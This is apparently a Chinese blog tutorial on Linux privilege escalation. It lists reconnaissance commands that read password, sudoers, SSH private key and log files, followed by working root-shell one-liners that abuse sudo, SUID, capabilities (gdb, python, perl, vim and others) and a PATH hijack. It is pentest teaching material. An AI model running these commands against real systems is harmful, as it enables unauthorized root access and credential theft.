基础

由于服务或其他漏洞渗透进的服务器,所配置的用户权限可能不是特权用户或用户权限较低,操作的局限性很大。权限提升的本质就是从低权限账户转换为高权限用户。
高权限可进一步利用的方法:

  1. 重置其他账户密码访问其他账户权限文件
  2. 绕过访问控制的权限操作数据内容
  3. 更改软件的配置
  4. 实现持久化
  5. 更改对应用户权限

提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用。

基础系统信息收集

内核,操作系统,设备信息

uname -a    打印所有可用的系统信息,可以看到关于主机的内核信息,便于搜索一些利于权限提升的内核漏洞
uname -r    内核版本
uname -n    系统主机名。
uname -m    查看系统内核架构(64位/32位)
hostname    系统主机名通常可以提供关于主机在域中的角色信息,如MYSQL-SERVER
cat /proc/version    内核信息 可以目标系统信息(和uname -a类似)
cat /etc/*-release   分发信息
cat /etc/issue       分发信息 同样可以查看目标系统信息(可以被任意更改)
cat /proc/cpuinfo    CPU信息
cat /etc/lsb-release # Debian 
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-
Linux内核的版本号命名是有一定规则的,版本号的格式通常为“主版本号.次版本号.修正号”。主版本号和次版本号标志着重要的功能变动,修正号表示较小的功能变更。以5.9.11版本为例,5代表主版本号,9代表次版本号,11代表修正号。其中次版本还有特定的意义:如果是偶数数字,就表示该内核是一个可以放心使用的稳定版;如果是奇数数字,则表示该内核加入了某些测试的新功能,是一个内部可能存在着bug的测试版。

用户和群组

cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group      列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
whoami              查看当前用户
w                   谁目前已登录,他们正在做什么
last                最后登录用户的列表
lastlog             所有用户上次登录的信息
lastlog –u %username%  有关指定用户上次登录的信息
lastlog |grep -v "Never"  以前登录用户的完

用户权限信息

whoami        当前用户名
id            当前用户信息 查看关于当前用户权限和用户组的信息,也可以查看其他用户的相关信息`id root`
cat /etc/sudoers  谁被允许以root身份执行
sudo -l       当前用户可以以root身份执行操作
sudo -l   可以列出当前用户可以使用sudo运行的一些命令

环境信息

env        显示环境变量 PATH变量通常可以看到编译器或者脚本语言的信息
set        现实环境变量
echo %PATH 路径信息
history    显示当前用户的历史命令记录 可以查看当前终端的历史执行命令
pwd        输出工作目录
cat /etc/profile   显示默认系统变量
cat /etc/shells    显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

进程和服务

ps aux 显示所有用户的进程同时显示用户名(包含未连接到终端的进程)
ps axjf命令可以查看进程树
ps -ef
top
cat /etc/services

ps命令通常被用来查看系统运行的进程。(进程状态)的输出ps 将显示以下内容:
PID:进程ID(进程唯一)
TTY:用户使用的终端类型
时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)

查看安装的软件

ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

服务和插件

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划任务

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有存放明文密码

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find / -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

ssh私钥信息

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

查看与主机通信的信息

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -anptl
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w 显示当前登录用户及这些用户正在做什么的命令。它同时也能显示系统运行时长,当前系统时间和系统平均负载情况。
netstat可以查看现有的连接信息
netstat -at   显示tcp协议的连接
netstat -au   显示udp协议的连接
netstat -l可以以Listen列出端口

日志信息

cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

查看可提权的SUID或GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

查看可写/执行目录

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders






Linux提权方法

搜索可用凭证

可能存在备份文件或其他网站服务的配置文件(.conf,.config,.xml,backup*,.bak等)和一些shell脚本或bash历史命令

内核漏洞利用提权

内核提权有风险,可能会导致目标主机崩溃

内核漏洞利用方法:

  1. 获取关于目标系统的内核信息
  2. 通过exploit-db或searchsplopit等工具搜索具体的内核版本信息
  3. 通过python3 -m http.server或wget等服务将poc脚本传送至目标主机
  4. 运行漏洞利用poc脚本(需要了解漏洞利用代码的工作原理,避免因为漏洞poc执行等原因对目标系统造成特殊的影响,或漏洞代码需要进行某些交互功能)

官方放出的EXP:链接
提权为root权限的EXP一:链接
提权为root权限的EXP二:链接

sudo提权

默认情况下,sudo命令允许用户以root权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一定的权限灵活性。 任何用户都可以使用
sudo -l 命令查看其当前与 root 权限相关的情况。

使用sudo -l查看可利用的sudo权限工具

https://gtfobins.github.io/搜索对应的工具名称,利用页面中的提示进行提权

举几个例子

find提权

输入sudo find . -exec /bin/sh \; -quit
sudo find

less提权

输入sudo less /etc/profile
sudo less
输入!/bin/sh即可提升权限至root
sudo less2

nano提权

方法一:
输入sudo nano
连续键入ctrl+rctrl+x两个组合键
输入命令reset; sh 1>&0 2>&0提权至root

方法二:
输入sudo nano -s /bin/sh
输入/bin/sh,再键入ctrl+t组合键

剩下的直接去搜吧

SUID提权

许多 Linux 权限控制依赖于控制用户和文件交互。我们知道文件有读、写和可执行权限(rwx)
通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。
ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid。

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

Effective UID:Linux进程在运行时有三个UID: Real UID 执行该进程的用户实际的UID Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限) Saved UID
在高权限用户降权后,保留的其原本UID

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。

首先要找到有SUID或者SGID权限的文件find / -type f -perm -04000 -ls 2>/dev/null

同样的,可以在https://gtfobins.github.io/#+suid里寻找相关命令

Capabilities提权

Linux
2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。

1.首先利用getcap -r / 2>/dev/null查看设置了capabilities的可执行文件
2.利用命令提权,可以参考GTFOBins(有些命令不适合所有终端)

# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

#node的利用方法
./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

#perl的利用方法
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

#php的利用方法
./php -r "posix_setuid(0); system('/bin/sh');"

#pythond的利用方法
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

#ruby的利用方法
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

#rview的利用方法
./rview -c ':lua os.execute("reset; exec sh")'

#rvim的利用方法
./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#view的利用方法
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#vim的利用方法
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#vimdiff的利用方法
./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

CronJob定时任务

定时任务通常被设置用于备份文件、清理目录内容等。crontab命令可以创建一个cron文件,以指定的时间区间运行。

可以查看/etc/crontab查看CronJob文件
root用户的crontab能被root用户或完全sudo权限的用户编辑。可以在此时查找一个以root用户身份运行的当前用户可更改的读写脚本。
1.找到一个可读写更改的脚本
2.更改其内容进行反弹shell的操作
3.如果目标机器的CronJob存在,但文件已被删除,如
contab如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。可以被当前用户利用。

PATH提权

找到可写目录

find / -writable 2>/dev/null
cp /bin/bash /tmp/ifconfig  # 将bash改名为ifconfig并放到tmp目录下
chmod 777 /tmp/ifconfig
export PATH=/tmp:$PATH  # 将tmp路径添加到环境变量头部
最后修改:2023 年 12 月 10 日
如果觉得我的文章对你有用,请随意赞赏